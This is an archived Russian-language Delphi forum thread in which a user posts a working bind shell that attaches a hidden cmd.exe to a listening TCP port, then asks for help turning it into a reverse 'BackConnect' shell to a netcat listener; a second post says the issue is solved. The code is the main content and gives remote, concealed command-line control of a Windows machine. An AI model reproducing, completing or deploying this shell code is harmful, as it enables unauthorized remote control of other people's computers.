Главная страница
Top.Mail.Ru    Яндекс.Метрика
Текущий архив: 2007.10.07;
Скачать: CL | DM;

Вниз

BackConnect на Delphi помогите плз.....   Найти похожие ветки 

 
22b   (2007-02-10 19:29) [0]

Добрый день....
столкнулся я со следуюющей проблемой реализовал вывод cmd в порт локальный...вот ф-я:
[CODE]
unction SetShell(port:integer):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrIn: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrIn.sin_family := AF_INET;
 SockAddrIn.sin_port := htons(port);
 bind(FSocket, SockAddrIn, 16);
 listen(FSocket, 0);
 while true do
   begin
     sHandle := accept(FSocket, nil, 0);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end;
[/CODE]
А вот сейчас задумал реализовать BackConnect на открытый на прослушку порт нетката и ничего не могу поделать.... не работает и все
вот что получилось у меня в коде...

[CODE]
function SetShell(port:integer;ip:string):boolean;
 var
 WSAData: TWSAData;
 FSocket: integer;
 SockAddrOut: TSockAddrIn;
 sHandle: dword;
 St: TStartupInfo;
 Pr: TProcessInformation;
begin
 WSAStartup($202, WSAData);
 FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
 SockAddrOut.sin_family := AF_INET;
 SockAddrOut.sin_port := htons(port);
 SockAddrOut.sin_addr:=LookupName(ip);
 connect(FSocket, SockAddrOut, sizeof(SockAddrOut));
 ShowMessage(inttostr(sHandle));
 //listen(FSocket, 0);

     //sHandle := accept(FSocket, nil, size);
     if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError := sHandle;
       CreateProcess(nil, "cmd.exe", nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
end;
[/CODE]

Заранеее спасибо за ответ...


 
22b   (2007-02-10 19:34) [1]

не актуально проблема решена!!!!!!!



Страницы: 1 вся ветка

Текущий архив: 2007.10.07;
Скачать: CL | DM;

Наверх




Память: 0.47 MB
Время: 0.025 c
1-1185362246
SpellCaster
2007-07-25 15:17
2007.10.07
Получение класса по имени


15-1189084593
Yurikon
2007-09-06 17:16
2007.10.07
WinHelp и кириллица


2-1189409379
Sonia
2007-09-10 11:29
2007.10.07
DBLookUpComboBox


15-1189357149
anton773
2007-09-09 20:59
2007.10.07
почему дата отображается полностью


2-1189486797
no_name
2007-09-11 08:59
2007.10.07
Как поместить созданный мной компонент в список ActiveX